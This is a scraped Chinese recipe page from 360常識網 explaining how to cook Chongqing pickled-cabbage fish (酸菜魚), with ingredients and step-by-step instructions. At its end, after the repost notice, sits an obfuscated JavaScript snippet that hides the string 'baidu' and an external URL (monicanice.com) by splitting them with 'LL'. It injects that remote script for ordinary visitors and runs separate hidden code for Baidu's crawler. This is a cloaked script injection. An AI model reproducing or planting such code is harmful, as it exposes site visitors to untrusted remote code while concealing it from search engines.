當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

酸辣可口的重慶酸菜魚的做法

2016-08-29 09:26:00  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:炒鍋再加油燒熱后,把泡紅椒碎和大蒜碎炒香后鋪在魚肉面上,再撒上些花椒粉(也可不用),撒上蔥段即可,美味的酸菜魚就做好了。

酸辣可口的重慶酸菜魚的做法

酸辣可口的重慶酸菜魚的做法

酸辣可口的重慶酸菜魚的做法

材料:大頭魚身一條,酸菜。

調(diào)料:泡姜,泡辣椒,大蒜,生姜,干辣椒段,花椒粒,花椒粉(沒有可不放),鹽,料酒(或白酒),生粉,雞蛋一只,味精,蔥段。

做法:

買大頭魚時(shí)可讓攤主幫忙把魚剖成三大片,回來洗凈后,先把魚骨切成段,然后把肚腹上的大排刺片下來.再把整塊魚肉皮朝下,從尾部開始片成薄片,這樣全部片好備用,片好的魚片加上料酒和鹽先腌上;

酸菜也片成片,泡姜,幾顆大蒜,生姜切較大粒,另外多些大蒜剁碎,泡紅椒剁碎;

炒鍋放油,下干辣椒段炒出香味撈起辣椒段備用;

下花椒粒爆香后,倒入泡姜粒,生姜粒,大蒜粒炒香,再倒入酸菜翻炒幾下,加適量清水煮上;

趁煮酸菜湯時(shí)就把腌上的魚再加入雞蛋清,生粉拌勻;

酸菜湯煮出味道后,可加適量鹽調(diào)味,再把魚骨和蛋黃放入(蛋黃煮出來好吃哦),煮至顏色變白,魚肉用筷子一插就過,表明煮好了;

把魚骨和酸菜用漏勺撈起放在碗底;

再把魚片放入鍋內(nèi)煮好撈起放在魚骨上,最后再調(diào)下湯的咸淡,加味精調(diào)味后倒入碗里;

炒鍋再加油燒熱后,把泡紅椒碎和大蒜碎炒香后鋪在魚肉面上,再撒上些花椒粉(也可不用),撒上蔥段即可,美味的酸菜魚就做好了。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}